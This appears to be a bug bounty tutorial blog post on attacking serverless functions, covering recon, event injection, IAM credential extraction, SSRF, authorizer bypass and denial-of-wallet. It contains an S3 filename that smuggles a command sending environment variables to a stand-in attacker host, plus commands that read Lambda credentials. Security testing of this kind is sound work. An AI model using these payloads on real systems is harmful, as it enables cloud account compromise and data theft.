Serverless Security Testing for Bug Bounty in 2026

How to Find and Exploit Vulnerabilities in AWS Lambda, Azure Functions, and GCP Cloud Functions

Key Takeaways

  • Serverless doesn't mean secure — functions inherit all the classic web vulns plus cloud-specific attack surface
  • Event injection is the #1 serverless-specific bug class: untrusted data flows from API Gateway, S3, SQS, and dozens of other triggers directly into function code
  • Overprivileged IAM roles on Lambda functions are extremely common and turn any code execution into full cloud account compromise
  • Environment variables frequently contain hardcoded secrets — any code execution gives you access to them
  • Cold start timing analysis reveals serverless architectures even when fronted by CDNs

Why Serverless Is a Growing Bug Bounty Target

Serverless adoption has exploded. AWS Lambda alone processes trillions of invocations per month. Every major bug bounty program — from fintech startups to Fortune 500 companies — runs serverless workloads. And most of them are vulnerable.

The misconception that "serverless = no server = no attack surface" has led to widespread security neglect. Developers focus on business logic and assume the cloud provider handles security. The provider secures the runtime — but everything above it (your code, your IAM policies, your event handling) is your problem.

For bug bounty hunters, this creates opportunity. Serverless applications expose unique attack surface that traditional web app testing misses:

  • Event-driven triggers — functions respond to API calls, file uploads, queue messages, database changes, and IoT events. Each trigger is a potential injection point.
  • Ephemeral execution — functions spin up, execute, and die. Traditional persistence techniques don't work, but data exfiltration and lateral movement absolutely do.
  • IAM-based access control — instead of network segmentation, serverless relies on IAM policies. Misconfigurations here are catastrophic.
  • Multi-service integration — a single function might touch S3, DynamoDB, SQS, SNS, and external APIs. Each integration is an attack vector.

Reconnaissance: Identifying Serverless Targets

Fingerprinting Serverless Endpoints

Before you can test serverless functions, you need to find them. Here are the telltale signs:

AWS Lambda + API Gateway:

  • URLs matching *.execute-api.{region}.amazonaws.com/{stage}/
  • Response headers: x-amzn-requestid, x-amz-apigw-id, x-amzn-trace-id
  • Lambda Function URLs: *.lambda-url.{region}.on.aws
  • Error responses containing "message": "Internal server error" with no stack trace (API Gateway default)

Azure Functions:

  • URLs matching *.azurewebsites.net/api/
  • Response headers: x-functions-key, request-id
  • Custom domains with /api/ path prefix pattern

GCP Cloud Functions:

  • URLs matching *.cloudfunctions.net or *.run.app
  • Response headers: function-execution-id, x-cloud-trace-context

Cold Start Timing Analysis

Serverless functions exhibit a distinctive timing pattern. The first request after idle time takes 200ms-2s longer than subsequent requests (cold start). You can detect this even behind CDNs:

# Send 10 requests with 5-minute gaps and measure response times
for i in $(seq 1 10); do
  curl -o /dev/null -s -w "Request $i: %{time_total}s\n" https://target.com/api/endpoint
  sleep 300
done

If you see consistent spikes on the first request of each batch, you're hitting a serverless function.

Enumerating API Gateway Stages

API Gateway deployments use stages (dev, staging, prod). Developers often leave non-production stages exposed:

# Common stage names to enumerate
stages=("prod" "dev" "staging" "test" "v1" "v2" "api" "beta" "sandbox")
for stage in "${stages[@]}"; do
  code=$(curl -o /dev/null -s -w "%{http_code}" "https://api-id.execute-api.us-east-1.amazonaws.com/$stage/")
  echo "$stage: $code"
done

Non-production stages frequently have weaker authentication, verbose error messages, and debug endpoints.

Event Injection Attacks

Event injection is the signature vulnerability class of serverless architectures. Unlike traditional web apps where input comes through HTTP, serverless functions receive events from dozens of sources — and developers rarely sanitize all of them.

API Gateway Event Injection

When API Gateway triggers a Lambda function, it passes the entire HTTP request as a JSON event. The function code parses this event to extract parameters. Common injection points:

  • Query string parameters — passed in event.queryStringParameters
  • Path parameters — passed in event.pathParameters
  • Headers — passed in event.headers (including custom headers)
  • Body — passed in event.body (often base64-encoded)

Test each of these for SQL injection, NoSQL injection, command injection, and template injection. The function code often trusts these values because "API Gateway validated them" — but API Gateway only validates structure, not content.

S3 Event Injection

Functions triggered by S3 uploads receive the bucket name and object key in the event. If the function uses the object key in a shell command or database query without sanitization:

# Upload a file with a malicious filename
aws s3 cp payload.txt "s3://target-bucket/; curl attacker.com/exfil?data=$(env | base64);"

The object key flows into event.Records[0].s3.object.key and if the function does something like os.system(f"process {key}"), you have command injection.

SQS/SNS Message Injection

If you can write to an SQS queue or publish to an SNS topic that triggers a function, the message body becomes your injection payload. Look for:

  • Publicly writable SQS queues (misconfigured resource policies)
  • SNS topics that accept subscriptions from any AWS account
  • API endpoints that forward user input to queues without sanitization

DynamoDB Stream Injection

Functions triggered by DynamoDB Streams receive the new/old item data. If you can write to the DynamoDB table (via another vulnerability or misconfigured access), your data flows directly into the function as a trusted event.

IAM Role Exploitation

Every Lambda function runs with an IAM execution role. This role determines what AWS services the function can access. In practice, developers almost always grant more permissions than needed.

Common Overprivileged Patterns

  • s3:* on * — function needs to read one bucket but can access all buckets in the account
  • dynamodb:* — function needs GetItem but has PutItem, DeleteTable, etc.
  • sts:AssumeRole — function can assume other roles, potentially escalating to admin
  • lambda:InvokeFunction on * — function can invoke any other function in the account

Extracting and Using IAM Credentials

If you achieve code execution in a Lambda function (via command injection, deserialization, etc.), the IAM role credentials are available at a well-known endpoint:

# Inside a compromised Lambda function
# AWS_LAMBDA_RUNTIME_API provides the credentials
curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/credentials"

# Or via environment variables (always present)
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN

These temporary credentials let you make AWS API calls with the function's permissions from your own machine. If the role is overprivileged, you can:

  • List and download S3 objects across the account
  • Read DynamoDB tables containing user data
  • Invoke other Lambda functions
  • Enumerate the entire cloud environment

This is where serverless bugs become critical-severity findings. A simple command injection in a Lambda function with AdministratorAccess (yes, people do this) gives you full account takeover.

Environment Variable and Secret Extraction

Serverless functions commonly store configuration in environment variables. Developers treat these as "secure" because they're not in source code — but any code execution in the function exposes them all.

What You'll Find

  • Database connection strings with credentials
  • API keys for third-party services (Stripe, Twilio, SendGrid)
  • JWT signing secrets
  • Encryption keys
  • Internal service URLs and tokens

Extraction via Error Messages

Even without full code execution, verbose error messages can leak environment variables. Try triggering errors by:

  • Sending malformed JSON bodies
  • Exceeding payload size limits (6MB for Lambda synchronous)
  • Triggering type errors with unexpected data types
  • Sending requests to non-existent routes (some frameworks dump config in 404 handlers)

If the function uses a framework like Express.js on Lambda and has debug mode enabled, error responses may include the full environment.

SSRF and Cloud Pivoting

SSRF in serverless functions is particularly dangerous because the function runs inside the cloud provider's network with access to internal services. See our SSRF to RCE Escalation guide for the general methodology — here we focus on serverless-specific pivots.

AWS Lambda SSRF Targets

  • IAM credentials endpointhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ (if the function makes HTTP requests you can control)
  • Lambda Runtime APIhttp://${AWS_LAMBDA_RUNTIME_API}/ (can read next invocation events, potentially containing sensitive data from other requests)
  • Internal VPC resources — if the Lambda is VPC-attached, you can reach private RDS instances, ElastiCache, internal APIs

Cross-Function Invocation

If the compromised function's IAM role allows lambda:InvokeFunction, you can call other functions in the account. Each function may have different permissions, creating a privilege escalation chain:

Function A (public-facing, limited perms) → Function B (internal, has S3 access) → Function C (admin, has IAM access)

Map the function graph by listing available functions and their configurations. Each hop potentially escalates your access.

Authentication and Authorization Bypass

Serverless APIs commonly use API Gateway authorizers — Lambda functions that validate tokens before the main function executes. These authorizers are a rich target.

Authorizer Bypass Techniques

  • Missing authorizer on specific routes — developers add authorizers to most routes but miss one. Enumerate all API paths and check which ones require authentication.
  • Authorizer caching — API Gateway caches authorizer responses by default (300 seconds). If the cache key is only the token, a valid token cached for one user may authorize requests for another user on the same API.
  • Method-level bypass — authorizer configured for GET but not POST on the same resource. Try all HTTP methods.
  • Stage-level bypass — authorizer configured on prod stage but not dev stage. If both stages point to the same Lambda functions, the dev stage gives unauthenticated access to production data.

Cognito Misconfiguration

Many serverless apps use AWS Cognito for authentication. Common misconfigurations:

  • Self-registration enabled when it shouldn't be
  • Unverified email/phone allowed to access protected resources
  • Custom attributes writable by the user (e.g., custom:role set to "admin")
  • Identity pool configured with unauthenticated access to sensitive AWS resources

For more authentication attack patterns, see our Authentication Bypass guide and OAuth Attacks guide.

Deserialization in Serverless Contexts

Serverless functions frequently deserialize data from events. The serialization format depends on the trigger:

  • API Gateway — JSON (sometimes XML for SOAP-style APIs)
  • S3 events — the object content itself may be deserialized (pickle files, Java serialized objects)
  • SQS/SNS — JSON message bodies, sometimes containing nested serialized data
  • Step Functions — JSON state passed between functions

Python Lambda functions using pickle.loads() on S3 object content are a classic target. Upload a malicious pickle file to the trigger bucket and the function deserializes it, giving you code execution. See our Insecure Deserialization guide for payload construction.

Denial of Service and Financial Exhaustion

Serverless functions scale automatically — which means an attacker can force the target to scale to thousands of concurrent executions, generating massive cloud bills. This is called a "denial of wallet" attack.

Attack Vectors

  • Direct invocation flooding — send thousands of requests to a public API endpoint
  • Recursive function triggers — if a function writes to a resource that triggers the same function (e.g., Lambda writes to S3, S3 triggers Lambda), you create an infinite loop
  • Large payload processing — send maximum-size payloads (6MB) to force expensive processing
  • Slow-read attacks — keep connections open to consume concurrent execution slots

Reporting Financial Impact

When reporting denial-of-wallet bugs, calculate the financial impact. Lambda pricing is per-request and per-GB-second. A function with 512MB memory running for 1 second costs ~$0.0000083. At 10,000 requests/second sustained for 1 hour, that's $299. At scale, this adds up fast.

Programs increasingly accept financial exhaustion as a valid vulnerability class. Frame it as "attacker-controlled cost amplification" in your report.

Tools and Methodology

Reconnaissance Tools

  • ffuf — fuzz API Gateway endpoints and stages
  • nuclei — cloud-specific templates for serverless fingerprinting
  • gau / waybackurls — find historical API Gateway URLs in archives
  • Amass / subfinder — discover subdomains pointing to serverless endpoints

Exploitation Tools

  • Burp Suite — intercept and modify API Gateway requests, test authorizer bypass
  • Pacu — AWS exploitation framework, useful for post-exploitation after obtaining Lambda credentials
  • Prowler — AWS security auditing (useful in gray-box engagements)

Testing Methodology Checklist

  1. Recon — identify serverless endpoints, enumerate stages, fingerprint provider
  2. Auth testing — test every endpoint with no auth, expired tokens, tokens from other users
  3. Input testing — fuzz all event sources (query params, headers, body, path params) for injection
  4. Error analysis — trigger errors to leak configuration, environment variables, stack traces
  5. SSRF probing — test any URL parameter for SSRF to cloud metadata endpoints
  6. Rate limit testing — check for missing throttling on API Gateway (see our API Rate Limiting Bypass guide)
  7. Stage comparison — compare security controls across API Gateway stages
  8. Financial impact — assess denial-of-wallet potential

Writing Serverless Bug Reports

Serverless bugs require extra context in reports because triagers may not understand the cloud-specific impact. Include:

  • The trigger source — explain which event source you're injecting through
  • The execution context — what IAM permissions the function has (if you can determine this)
  • The blast radius — what other services/data the compromised function can access
  • Cloud-specific impact — translate technical findings into business impact (e.g., "the function's IAM role has read access to the production DynamoDB table containing 2M user records")

For general report writing tips, see our Bug Bounty Starter Kit.

Frequently Asked Questions

What are the most common serverless vulnerabilities in bug bounty?

Event injection (injecting malicious payloads through API Gateway, S3 events, or SQS messages), overprivileged IAM roles, insecure environment variables storing secrets in plaintext, broken authentication on API endpoints, and SSRF through function-to-function calls.

How do I identify serverless applications during recon?

Look for API Gateway endpoints (execute-api.amazonaws.com, azurewebsites.net/api, cloudfunctions.net), response headers like x-amzn-requestid or x-functions-key, cold start latency patterns, and CloudFront distributions fronting API Gateway origins.

Can you get RCE on serverless functions?

Yes. Command injection and code injection give you a shell in the container. From there you can read environment variables containing secrets, access IAM role credentials, pivot to other cloud services, and exfiltrate data. The container is ephemeral but the impact is real.

What tools are best for serverless security testing?

For black-box: Burp Suite, ffuf, and nuclei with cloud templates. For gray-box: Prowler, ScoutSuite, and Pacu for post-exploitation. Custom scripts for enumerating Lambda function URLs and API Gateway stages.

Advertisement